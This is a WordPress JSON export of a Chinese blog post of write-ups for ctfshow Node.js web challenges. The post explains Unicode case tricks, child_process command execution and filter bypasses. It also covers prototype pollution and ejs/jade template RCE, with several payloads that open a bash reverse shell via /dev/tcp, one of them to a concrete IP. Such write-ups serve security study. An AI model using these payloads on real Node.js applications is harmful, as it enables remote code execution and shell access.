{"id":427,"date":"2023-07-27T17:03:02","date_gmt":"2023-07-27T09:03:02","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=427"},"modified":"2023-09-02T17:08:03","modified_gmt":"2023-09-02T09:08:03","slug":"nodejs1","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2023\/07\/27\/nodejs1\/","title":{"rendered":"Ctfshow nodejs"},"content":{"rendered":"<h1>web334(\u7279\u6027)<\/h1>\n<p>login.js<\/p>\n<pre><code class=\"language-js\">var express = require(&#039;express&#039;);\n\nvar router = express.Router();\n\nvar users = require(&#039;..\/modules\/user&#039;).items;\n\nvar findUser = function(name, password){\n\n return users.find(function(item){\n\n  return name!==&#039;CTFSHOW&#039; &amp;&amp; item.username === name.toUpperCase() &amp;&amp; item.password === password;\n\n });\n\n};\n\n\/* GET home page. *\/\n\nrouter.post(&#039;\/&#039;, function(req, res, next) {\n\n res.type(&#039;html&#039;);\n\n var flag=&#039;flag_here&#039;;\n\n var sess = req.session;\n\n var user = findUser(req.body.username, req.body.password); \n\n if(user){\n\n  req.session.regenerate(function(err) {\n\n   if(err){\n\n\u200b    return res.json({ret_code: 2, ret_msg: &#039;\u767b\u5f55\u5931\u8d25&#039;});     \n\n   }\n\n\u200b    \n   req.session.loginUser = user.username;\n   res.json({ret_code: 0, ret_msg: &#039;\u767b\u5f55\u6210\u529f&#039;,ret_flag:flag});        \n\n  });\n\n }else{\n\n  res.json({ret_code: 1, ret_msg: &#039;\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef&#039;});\n\n }  \n});\nmodule.exports = router;<\/code><\/pre>\n<p>user.js<\/p>\n<pre><code class=\"language-js\">module.exports = {\n\n items: [\n\n  {username: &#039;CTFSHOW&#039;, password: &#039;123456&#039;}\n\n ]\n}<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230user.js\u6587\u4ef6\u4e2d\u8d26\u53f7\u5bc6\u7801\u90fd\u5df2\u7ecf\u7ed9\u51fa\uff0c\u6211\u4eec\u9700\u8981login\u6587\u4ef6\u4e2d\u7684\u5224\u65ad\u8bed\u53e5\u4e3atrue<\/p>\n<pre><code class=\"language-js\"> return name!==&#039;CTFSHOW&#039; &amp;&amp; item.username === name.toUpperCase() &amp;&amp; item.password === password;<\/code><\/pre>\n<p>\u6211\u4eec\u9700\u8981 name\u7684\u503c\u4e3a \u5927\u5199\u7684 'CTFSHOW'\uff0c\u53c8\u8981\u4e0d\u7b49\u4e8e'CTFSHOW'\uff0c\u6211\u4eec\u9700\u8981\u5229\u7528toUpperCase()\u65b9\u6cd5\u7684\u7279\u6027<\/p>\n<blockquote>\n<p>\u5728Character.toUpperCase()\u51fd\u6570\u4e2d\uff0c\u5b57\u7b26\u0131\u4f1a\u8f6c\u53d8\u4e3aI\uff0c\u5b57\u7b26\u017f\u4f1a\u53d8\u4e3aS\u3002<br \/>\n\u5b57\u7b26\u0130\u4f1a\u8f6c\u53d8\u4e3ai\uff0c\u5b57\u7b26\u212a\u4f1a\u8f6c\u53d8\u4e3ak\u3002<\/p>\n<\/blockquote>\n<p>payload\uff1a<\/p>\n<pre><code class=\"language-js\">username:&#039;ctf\u017fhow&#039;\n\npassword: &#039;123456&#039;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230728231122964.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230728231122964.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div><\/p>\n<h1>web335(\u7279\u6027)<\/h1>\n<p>execSync\u662fchild_process\u5e93\u91cc\u7528\u4e8e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u4e00\u4e2a\u65b9\u6cd5\uff0c\u53c2\u6570\u76f4\u63a5\u662f\u547d\u4ee4<\/p>\n<pre><code class=\"language-javascript\">require(&#039;child_process&#039;).execSync(&#039;cat f*&#039;).toString()<\/code><\/pre>\n<p>spawnSync\u662fchild_process\u5e93\u91cc\u53e6\u4e00\u4e2a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u65b9\u6cd5\uff0c\u4e0e\u4e0a\u4e00\u4e2a\u65b9\u6cd5\u4e0d\u540c\u7684\u662f\uff0c\u8be5\u65b9\u6cd5\u547d\u4ee4\u548c\u53c2\u6570\u662f\u5206\u79bb\u7684<\/p>\n<pre><code class=\"language-javascript\">require( &#039;child_process&#039; ).spawnSync( &#039;cat&#039;, [ &#039;f*&#039; ] ).stdout.toString()<\/code><\/pre>\n<h1>web336(\u7279\u6027)<\/h1>\n<pre><code class=\"language-javascript\">?eval=var a=require(&#039;chil&#039;+&#039;d_pro&#039;+&#039;cess&#039;);a[&#039;ex&#039;+&#039;ecSync&#039;](&#039;cat f*&#039;)<\/code><\/pre>\n<p>\u8fd9\u91cc\u4f7f\u7528\u4e86\u58f0\u660e\u53d8\u91cf\u62fc\u63a5\u7ed5\u8fc7\uff0c\u7c7b\u4f3c\u4e8epython\u7684\u6a21\u677f\u6ce8\u5165\u548cRCE\u91cc\u7684\u62fc\u63a5\u7ed5\u8fc7<\/p>\n<h1>web337(\u7279\u6027)<\/h1>\n<p>\u9898\u76ee\u6e90\u7801<\/p>\n<pre><code class=\"language-javascript\">var express = require(&#039;express&#039;);\nvar router = express.Router();\nvar crypto = require(&#039;crypto&#039;);\n\nfunction md5(s) {\n  return crypto.createHash(&#039;md5&#039;)\n    .update(s)\n    .digest(&#039;hex&#039;);\n}\n\n\/* GET home page. *\/\nrouter.get(&#039;\/&#039;, function(req, res, next) {\n  res.type(&#039;html&#039;);\n  var flag = &#039;xxxxxxx&#039;;\n  var a = req.query.a;\n  var b = req.query.b;\n\n  if (a &amp;&amp; b &amp;&amp; a.length === b.length &amp;&amp; a !== b &amp;&amp; md5(a + flag) === md5(b + flag)) {\n    res.end(flag);\n  } else {\n    res.render(&#039;index&#039;, { msg: &#039;tql&#039; });\n  }\n});\n\nmodule.exports = router;<\/code><\/pre>\n<p>\u8fd9\u91cc\u8981\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6\u8bed\u53e5<\/p>\n<pre><code class=\"language-javascript\">if(a &amp;&amp; b &amp;&amp; a.length===b.length &amp;&amp; a!==b &amp;&amp; md5(a+flag)===md5(b+flag)){\n  res.end(flag);\n}<\/code><\/pre>\n<p>\u9700\u8981\u4f20\u5165a\u4e0eb\u53c2\u6570\uff0c\u5e76\u4e14\u5b83\u4fe9\u7684\u957f\u5ea6\u8981\u76f8\u7b49\uff0c\u4f46\u53d8\u91cf\u81ea\u8eab\u4e0d\u76f8\u7b49\uff0c\u800c\u4e14\u5b83\u4fe9\u548cflag\u62fc\u63a5\u5230\u4e00\u8d77\u540e\u7ecfmd5\u52a0\u5bc6\u7684\u7ed3\u679c\u4e5f\u8981\u76f8\u7b49<\/p>\n<p>payload1<\/p>\n<pre><code class=\"language-url\">?a[0]=1&amp;b[0]=1<\/code><\/pre>\n<p>\u8fd9\u91cc\u662f\u4f20\u5165\u6570\u7ec4\uff0c\u6570\u7ec4\u4e2d\u90fd\u53ea\u6709\u4e00\u4e2a\u6210\u5458\u6545length\u76f8\u7b49\uff0c\u6211\u7406\u89e3\u7684\u662f\u7531\u4e8e\u4e0d\u662f\u540c\u4e00\u4e2a\u6570\u7ec4\u6240\u4ee5\u4e24\u6570\u7ec4\u4e5f\u4e0d\u7b49\uff0c\u7136\u540emd5\u52a0\u5bc6\u540e\u7684\u7ed3\u679c\u76f8\u7b49\u7684\u539f\u56e0\uff0c\u5e94\u8be5\u5c31\u662f\u6570\u7ec4\u91cc\u7684\u6210\u5458\u662f\u76f8\u540c\u7684\uff0c\u6545\u52a0\u5bc6\u7ed3\u679c\u76f8\u540c<\/p>\n<p>payload2<\/p>\n<pre><code>?a[x]=1&amp;b[x]=2<\/code><\/pre>\n<p>\u8fd9\u91cc\u5b58\u5165\u7684\u662f\u5bf9\u8c61\u5f62\u5f0f\uff0c\u5728JavaScript\u4e2d\u5bf9\u8c61\u53ef\u4ee5\u5f53\u505a\u952e\u503c\u5bf9\u7684\u5bb9\u5668\uff0c\u7c7b\u4f3c\u4e8epython\u91cc\u7684\u5b57\u5178\uff0c\u7136\u540e\u5bf9\u8c61\u5e76\u4e0d\u5177\u6709length\u5c5e\u6027\uff0c\u6545\u8fd4\u56de\u4e3a\u7a7a\uff0c\u4ece\u800c\u7a7a\u7a7a\u5f3a\u7b49\u4e8e\uff0c\u7136\u540e\u4e24\u4e2a\u5bf9\u8c61\u7684\u6210\u5458\u4e0d\u540c\uff0c\u6545\u4e0d\u7b49\u4e8e<\/p>\n<p>\u7136\u540e\u52a0\u5165\u4ee5\u62fc\u63a5\u7684\u5f62\u5f0f\u8f93\u51fa\u5bf9\u8c61\u672c\u8eab\u7684\u8bdd\uff0c\u53ea\u4f1a\u6253\u5370\u51fa<strong>[object Object]<\/strong>\u8fd9\u4e00\u5b57\u7b26\u4e32\uff0c\u5e76\u4e0d\u4f1a\u6253\u5370\u51fa\u6210\u5458\uff0c\u5982\u56fe\u6240\u793a<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230808233527397.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230808233527397.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div><br \/>\n\u6545\u8fd9\u4e24\u4e2a\u5bf9\u8c61\u62fc\u63a5flag\u53d8\u91cf\u540e\u7ecfmd5\u52a0\u5bc6\u76f8\u7b49<\/p>\n<h1>web338(\u539f\u578b\u94fe\u6c61\u67d3)<\/h1>\n<p>\u770b\u9898\u76ee\u4ee3\u7801\u5173\u952e\u90e8\u5206<\/p>\n<pre><code class=\"language-js\">router.post(&#039;\/&#039;, require(&#039;body-parser&#039;).json(),function(req, res, next) {\n  res.type(&#039;html&#039;);\n  var flag=&#039;flag_here&#039;;\n  var secert = {};\n  var sess = req.session;\n  let user = {};\n  utils.copy(user,req.body);\n  if(secert.ctfshow===&#039;36dboy&#039;){\n    res.end(flag);\n  }else{\n    return res.json({ret_code: 2, ret_msg: &#039;\u767b\u5f55\u5931\u8d25&#039;+JSON.stringify(user)});  \n  } \n});<\/code><\/pre>\n<p>\u770b\u4ee3\u7801\uff0c\u53ea\u8981\u8ba9secert.ctfshow==='36dboy'\u5c31\u80fd\u8f93\u51faflag\u3002\u6700\u4e3b\u8981\u7684\u6f0f\u6d1e\u4ee3\u7801\u8fd8\u662fcopy\u7684\u4e00\u4e2a\u9012\u5f52\u8c03\u7528\u51fd\u6570<\/p>\n<pre><code class=\"language-js\">function copy(object1, object2){\n    for (let key in object2) {\n        if (key in object2 &amp;&amp; key in object1) {\n            copy(object1[key], object2[key])\n        } else {\n            object1[key] = object2[key]\n        }\n    }\n  }<\/code><\/pre>\n<p>\u5b83\u4f1afor\u5faa\u73af\u904d\u5386object2\u4e2d\u7684\u952e\uff0c\u5982\u679c\u8fd9\u4e2a\u952e\u540d\u5728object1\u548cobject2\u4e2d\u90fd\u5b58\u5728\uff0c\u90a3\u4e48\u5c31\u8c03\u7528copy\u51fd\u6570\uff0c\u5426\u5219\u5c06object2\u7684key\u8d4b\u503c\u7ed9object1\u3002\u6211\u4eec\u53ef\u4ee5\u63a7\u5236object2\uff0c\u5982\u679cobject2\u4e2d\u7684key\u8bbe\u7f6e\u4e3a<em>proto<\/em>\uff0c\u5c31\u53ef\u4ee5\u539f\u578b\u94fe\u6c61\u67d3\u4e86\u3002\u6211\u4eec\u5c06object2\u8d4b\u503c\u4e3a<\/p>\n<pre><code class=\"language-js\">{&quot;__proto__&quot;:{&quot;ctfshow&quot;:&quot;36dboy&quot;}}<\/code><\/pre>\n<blockquote>\n<p>\u6211\u4eec\u60f3\u8ba9<strong>proto<\/strong>\u4e3a\u952e\u540d\u5c31\u5fc5\u987b\u8981json\u8bed\u6cd5\u683c\u5f0f\uff0c\u4e0d\u7136\u7684\u8bdd\uff0c<strong>proto<\/strong>\u5c31\u4f1a\u8bc6\u522b\u4e3a\u539f\u578b\u800c\u4e0d\u662f\u952e\u540d\uff0c\u6240\u4ee5\u5728key\u904d\u5386\u65f6\u4e5f\u53ea\u6709ctfshow\u8fd9\u4e2a\u952e\u540d\u4e86\u3002<\/p>\n<\/blockquote>\n<h1>web339(\u539f\u578b\u94fe\u6c61\u67d3)<\/h1>\n<p>\u4e00\u4e2ademo<\/p>\n<pre><code class=\"language-js\">function copy(object1, object2){\n   for (let key in object2) {\n       if (key in object2 &amp;&amp; key in object1) {\n           copy(object1[key], object2[key])\n       } else {\n           object1[key] = object2[key]\n       }\n   }\n }\nvar user ={}\nbody=JSON.parse(&#039;{&quot;__proto__&quot;:{&quot;query&quot;:&quot;return 123&quot;}}&#039;);\ncopy(user,body);\nconsole.log(query);<\/code><\/pre>\n<p>\u8fd0\u884c\u4e0a\u9762\u7684\u65b9\u6cd5\u4f1a\u53d1\u73b0query\u6709\u4e86\u65b0\u7684\u503c<\/p>\n<p>\u5f53\u53d8\u91cf\u6ca1\u6709\u88ab\u58f0\u660e\u6216\u5f15\u7528\u8d4b\u503c\u65f6\uff0c\u4fbf\u4f1a\u53bb\u4e0a\u4e00\u7ea7Object\u5bf9\u8c61\u4e2d\u67e5\u627e\u8be5\u53d8\u91cf\u7684\u503c<\/p>\n<p>payload<\/p>\n<pre><code class=\"language-json\">{&quot;__proto__&quot;:{&quot;query&quot;:&quot;return global.process.mainModule.constructor._load(&#039;child_process&#039;).exec(&#039;bash -c \\&quot;bash -i &gt;&amp; \/dev\/tcp\/xxx\/4567 0&gt;&amp;1\\&quot;&#039;)&quot;}}\n}}<\/code><\/pre>\n<h1>web340(\u539f\u578b\u94fe\u6c61\u67d3)<\/h1>\n<p>\u9898\u76ee\u5173\u952e\u90e8\u5206\u6e90\u7801<\/p>\n<pre><code class=\"language-js\">\/\/app.js\nrouter.post(&#039;\/&#039;, require(&#039;body-parser&#039;).json(),function(req, res, next) {\n res.type(&#039;html&#039;);\n res.render(&#039;api&#039;, { query: Function(query)(query)});\n});<\/code><\/pre>\n<pre><code class=\"language-js\"> \/\/login.js\nvar user = new function(){\n  this.userinfo = new function(){\n  this.isVIP = false;\n  this.isAdmin = false;\n  this.isAuthor = false;   \n  };\n }\n utils.copy(user.userinfo,req.body);\n\n\/\/\u8fd9\u6b21\u7684\u76ee\u6807\u6570\u7ec4\u9700\u8981\u5f80\u4e0a\u4e24\u5c42\u624d\u53ef\u4ee5\u6c61\u67d3\u5230object<\/code><\/pre>\n<p>\u548c\u4e0a\u4e00\u9898\u76f8\u540c\u90fd\u9700\u8981\u5229\u7528\u5b9a\u4e49\u51fd\u6570\u7684\u6784\u9020\u51fd\u6570Function\u6765\u53cd\u5f39shell\uff0cpayload<\/p>\n<pre><code class=\"language-json\">{&quot;__proto__&quot;:{&quot;__proto__&quot;:{&quot;query&quot;:&quot;return global.process.mainModule.constructor._load(&#039;child_process&#039;).exec(&#039;bash -c \\&quot;bash -i &gt;&amp; \/dev\/tcp\/xxx\/4567 0&gt;&amp;1\\&quot;&#039;)&quot;}}}<\/code><\/pre>\n<h1>web 341(ejs)<\/h1>\n<p>\u8fd9\u9053\u9898\u6ca1\u4e86\u4e0a\u9762\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7684\u8bed\u53e5\uff0c\u8981\u7528\u5230 ejs \u6a21\u677f\u5f15\u64ce\u7684RCE\u6f0f\u6d1e\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u4e5f\u662f\u4e0a\u9762\u51e0\u4e2a\u9898\u7684\u901a\u89e3(<a href=\"https:\/\/evi0s.com\/2019\/08\/30\/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce\/\">\u6f0f\u6d1e\u8be6\u7ec6<\/a>)<\/p>\n<p>\u91cd\u70b9\u5728ejs\u5e93\u4e2d\u6846\u8d77\u6765\u7684\u8fd9\u51e0\u884c<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230816231027570-1024x485.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230816231027570-1024x485.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div><br \/>\n\u53ef\u4ee5\u770b\u5230\uff0c <code>opts<\/code> \u5bf9\u8c61 <code>outputFunctionName<\/code> \u6210\u5458\u5728 express \u914d\u7f6e\u7684\u65f6\u5019\u5e76\u6ca1\u6709\u7ed9\u4ed6\u8d4b\u503c\uff0c\u9ed8\u8ba4\u4e5f\u662f\u672a\u5b9a\u4e49\uff0c\u5373 <code>undefined<\/code>\uff0c\u8fd9\u6837\u5728 574 \u884c\u65f6\uff0cif \u5224\u5426\uff0c\u8df3\u8fc7<\/p>\n<p>\u4f46\u662f\u5728\u6211\u4eec\u6709\u539f\u578b\u94fe\u6c61\u67d3\u7684\u524d\u63d0\u4e4b\u4e0b\uff0c\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u57fa\u7c7b\u7684\u6210\u5458\u3002\u8fd9\u6837\u6211\u4eec\u7ed9 <code>Object<\/code> \u7c7b\u521b\u5efa\u4e00\u4e2a\u6210\u5458 <code>outputFunctionName<\/code>\uff0c\u8fd9\u6837\u53ef\u4ee5\u8fdb\u5165 if \u8bed\u53e5\uff0c\u5e76\u5c06\u6211\u4eec\u63a7\u5236\u7684\u6210\u5458 <code>outputFunctionName<\/code> \u8d4b\u503c\u4e3a\u4e00\u4e32\u6076\u610f\u4ee3\u7801\uff0c\u4ece\u800c\u9020\u6210\u4ee3\u7801\u6ce8\u5165\u3002\u5728\u540e\u9762\u6a21\u7248\u6e32\u67d3\u7684\u65f6\u5019\uff0c\u6ce8\u5165\u7684\u4ee3\u7801\u88ab\u6267\u884c\uff0c\u4e5f\u5c31\u662f\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u4ee3\u7801\u6ce8\u5165\u7684 RCE<\/p>\n<p>\u5728\u8be5\u9898\u76ee\u4e2d\u9700\u8981\u5411\u4e0a\u4e24\u5c42\u624d\u80fd\u6c61\u67d3\u5230object<\/p>\n<p>payload<\/p>\n<pre><code class=\"language-json\">{&quot;__proto__&quot;:{&quot;__proto__&quot;:{&quot;outputFunctionName&quot;:&quot;_llama1;global.process.mainModule.require(&#039;child_process&#039;).exec(&#039;bash -c \\&quot;bash -i &gt;&amp; \/dev\/tcp\/121.43.154.98\/9001 0&gt;&amp;1\\&quot;&#039;);var _llama2&quot;}}}<\/code><\/pre>\n<h1>web342(jade)<\/h1>\n<p>\u8be5\u9898\u662fjade\u6a21\u677f\u5f15\u64ce\u7684RCE\u6f0f\u6d1e(<a href=\"https:\/\/xz.aliyun.com\/t\/7025\">\u6f0f\u6d1e\u8be6\u7ec6<\/a>)<\/p>\n<p>payload<\/p>\n<pre><code class=\"language-json\">{&quot;__proto__&quot;:{&quot;__proto__&quot;:{&quot;type&quot;:&quot;Code&quot;,&quot;self&quot;:1,&quot;line&quot;:&quot;global.process.mainModule.require(&#039;child_process&#039;).execSync(&#039;bash -c \\&quot;bash -i &gt;&amp; \/dev\/tcp\/your-ip\/port 0&gt;&amp;1\\&quot;&#039;)&quot;}}}\n\n\/\/\u540c\u6837\u662f\u5411\u4e0a\u6c61\u67d3\u4e24\u7ea7<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230816233018514.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.byzhb.top\/wp-content\/uploads\/2023\/09\/image-20230816233018514.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div><br \/>\nPOST\u53d1\u5305\u8bbf\u95eelogin\u8def\u7531(\u6ce8\u610f\u6dfb\u52a0\u7ea2\u8272\u6846\u5185\u8bf7\u6c42\u5934)\uff0c\u7136\u540e\u518d\u6b21\u968f\u4fbf\u53d1\u4e00\u4e0b\u5305\u5373\u53ef\u53cd\u5f39shell<\/p>\n<h1>web343(jade)<\/h1>\n<p>payload<\/p>\n<pre><code class=\"language-json\">{&quot;__proto__&quot;:{&quot;__proto__&quot;:{&quot;type&quot;:&quot;Code&quot;,&quot;self&quot;:1,&quot;line&quot;:&quot;global.process.mainModule.require(&#039;child_process&#039;).execSync(&#039;bash -c \\&quot;bash -i &gt;&amp; \/dev\/tcp\/your-ip\/port 0&gt;&amp;1\\&quot;&#039;)&quot;}}}\n\n\/\/\u540c\u6837\u662f\u5411\u4e0a\u6c61\u67d3\u4e24\u7ea7<\/code><\/pre>\n<p>\u64cd\u4f5c\u548c\u77e5\u8bc6\u70b9\u548c\u4e0a\u4e00\u9898\u76f8\u540c<\/p>\n<h1>web344(\u7279\u6027)<\/h1>\n<p>\u9898\u76ee\u6e90\u7801<\/p>\n<pre><code class=\"language-js\">router.get(&#039;\/&#039;, function(req, res, next) {\n    res.type(&#039;html&#039;);\n    var flag = &#039;flag_here&#039;;\n\n    if (req.url.match(\/8c|2c|\\,\/ig)) {\n        res.end(&#039;where is flag :)&#039;);\n    }\n\n    var query = JSON.parse(req.query.query);\n\n    if (query.name === &#039;admin&#039; &amp;&amp; query.password === &#039;ctfshow&#039; &amp;&amp; query.isVIP === true) {\n        res.end(flag);\n    }\n    else {\n        res.end(&#039;where is flag. :)&#039;);\n    }\n});<\/code><\/pre>\n<p>\u7ecf\u5206\u6790\u6ee1\u8db3\u8be5if\u8bed\u53e5\u5373\u53ef\u5f97\u5230flag<\/p>\n<pre><code class=\"language-js\">query.name === &#039;admin&#039; &amp;&amp; query.password === &#039;ctfshow&#039; &amp;&amp; query.isVIP === true<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u51fa\u6211\u4eec\u4f20\u4e00\u4e2a\u7b26\u5408\u6761\u4ef6\u7684JSON\u6570\u636e\u5373\u53ef\uff0c\u4f46\u662f\u8be5\u6b63\u5219\u5c06\u9017\u53f7\u53ca\u5176\u76f8\u5e94\u7684URL\u7f16\u7801\u90fd\u7ed9\u7981\u4e86<\/p>\n<pre><code class=\"language-js\">if (req.url.match(\/8c|2c|\\,\/ig)) {\n    res.end(&#039;where is flag :)&#039;);\n}<\/code><\/pre>\n<p>\u8fd9\u662f\u6211\u4eec\u8981\u5904\u7406\u7684payload\uff0c\u8981\u8ba9\u5176\u6ca1\u6709\u9017\u53f7<\/p>\n<pre><code class=\"language-js\">?query={&quot;name&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;ctfshow&quot;,&quot;isVIP&quot;:true}<\/code><\/pre>\n<p>\u8fd9\u91cc\u8981\u8bf4\u4e00\u4e2a\u7279\u6027\uff0cJSON.parse()\u51fd\u6570\u5728\u5904\u7406\u6570\u7ec4\u65f6\u4f1a\u628a\u6570\u7ec4\u91cc\u7684\u6210\u5458\u90fd\u7528\u9017\u53f7\u62fc\u63a5\u6210\u4e00\u6574\u4e2a\u5b57\u7b26\u4e32\uff0c\u7136\u540e\u8fdb\u884c\u89e3\u6790<\/p>\n<p>\u4f8b\u5982<\/p>\n<pre><code class=\"language-js\">var a = [&#039;{&quot;name&quot;:&quot;admin&quot;&#039;,&#039;&quot;password&quot;:&quot;ctfshow&quot;}&#039;];\nvar query = JSON.parse(a);\nconsole.log(query);\n\n\/\/\u62fc\u63a5\u4e3a[&#039;{&quot;name&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;ctfshow&quot;}&#039;]<\/code><\/pre>\n<p>\u8f93\u51fa<\/p>\n<pre><code class=\"language-js\">{ name: &#039;admin&#039;, password: &#039;ctfshow&#039; }<\/code><\/pre>\n<p>\u6240\u4ee5\u6211\u4eec\u7684payload\u8981\u5206\u5f00\u4f20\u53c2\uff0c\u6784\u6210\u6570\u7ec4\uff0c\u4ee5\u6b64\u6765\u7ed5\u8fc7\u9017\u53f7\uff0cpayload\u4e3a<\/p>\n<pre><code class=\"language-js\">?query={&quot;name&quot;:&quot;admin&quot;&amp;query=&quot;password&quot;:&quot;%63tfshow&quot;&amp;query=&quot;isVIP&quot;:true}\n\n\/\/\u8fd9\u91ccctfshow\u5199\u4e3a%63tfshow\u7684\u76ee\u7684\u662f\u524d\u9762\u7684\u53cc\u5f15\u53f7\u7ecf\u8fc7URL\u7f16\u7801\u540e\u4e3a %22 \u7136\u540e\u548c\u5b57\u6bcdc\u7ec4\u6210 2c \u88ab\u6b63\u5219\u8fc7\u6ee4\uff0c\u6240\u4ee5\u8981\u5bf9\u5b57\u6bcdf\u8fdb\u884cURL\u7f16\u7801<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Node.js\u662f\u4e00\u4e2a\u57fa\u4e8eChrome V8\u5f15\u64ce\u7684JavaScript\u8fd0\u884c\u65f6\u73af\u5883\u3002\u5b83\u5141\u8bb8\u4f7f\u7528JavaScript\u6765\u7f16\u5199\u670d\u52a1\u5668\u7aef\u4ee3\u7801\uff0c\u4f7f\u5f97JavaScript\u65e2\u53ef\u4ee5\u5728\u6d4f\u89c8\u5668\u4e2d\u8fd0\u884c\uff0c\u4e5f\u53ef\u4ee5\u5728\u670d\u52a1\u5668\u7aef\u8fdb\u884c\u5f00\u53d1<\/p>\n","protected":false},"author":1,"featured_media":434,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,37,22],"tags":[15,38,26],"class_list":["post-427","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-nodejs","category-webs","tag-ctf","tag-nodejs","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/427","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=427"}],"version-history":[{"count":1,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/427\/revisions"}],"predecessor-version":[{"id":435,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/427\/revisions\/435"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/434"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=427"}],"wp:term":[{"taxonomy":"category","embeddable":true,"h